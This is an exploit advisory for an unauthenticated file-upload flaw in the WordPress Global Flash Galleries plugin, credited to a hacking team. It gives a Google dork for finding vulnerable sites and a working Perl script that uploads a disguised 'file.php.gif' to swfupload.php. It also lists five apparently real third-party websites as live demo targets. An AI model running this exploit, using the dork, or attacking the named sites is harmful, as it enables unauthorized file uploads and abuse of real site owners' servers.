WordPress Global Flash Galleries File Upload

`###############################################################  
# Exploit Title: WordPress global-flash-galleries Plugin Remote File  
Upload Vulnerability  
# Author: Ashiyane Digital Security Team  
# Date: 01/18/2014  
# Vendor Homepage: http://wordpress.org  
# Software Link :  
http://downloads.wordpress.org/plugin/global-flash-galleries.zip  
# Google dork: inurl:/wp-content/plugins/global-flash-galleries/  
# Tested on: Windows/Linux  
###############################################################  
  
# Description :  
Global-Flash Galleris allows file upload to unauthenticated users. Filters in  
place only permits uploads of image files (extensions .gif, .png and .jpg).  
This avoids scripts execution problems but an  
attacker could use the affected system to Host files.  
  
Vulnerability occurs due an innapropiate cookie validation in :  
/global-flash-galleries/swfupload.php  
  
  
# Exploit :  
= = = = = = = = =  
[Perl]  
#! /usr/bin/perl  
use LWP;  
use HTTP::Request::Common;  
  
my ($url, $file) = @ARGV;  
  
my $ua = LWP::UserAgent->new();  
my $req = POST $url,  
Content_Type => 'form-data',  
Content => [  
name => $name,  
galleryselect => 1, # Gallery ID (popup.php)  
Filedata => [ "$file", "file.php.gif", Content_Type =>  
'image/gif' ]  
];  
my $res = $ua->request( $req );  
if( $res->is_success ) {  
print $res->content;  
} else {  
print $res->status_line, "\n";  
}  
[Perl]  
  
# Exploit demo :  
= = = = = = = = =  
http://radiostan.fm/wp-content/plugins/global-flash-galleries/swfupload.php  
http://izhairstudio.ca/wp-content/plugins/global-flash-galleries/swfupload.php  
http://awb.usahidsolo.ac.id/wp-content/plugins/global-flash-galleries/swfupload.php  
http://minigolfcourseulles.fr/wp-content/plugins/global-flash-galleries//swfupload.php  
http://madiro-hotel.com/wp-content/plugins/global-flash-galleries/swfupload.php  
  
# #### #### #### #### #### #### #### #### #  
# BY T3rm!nat0r5  
# Special Tnx to V1R4N64R ,C4T,HAMIDx9  
# E-mail : [email protected]  
# #### #### #### #### #### #### #### #### #  
`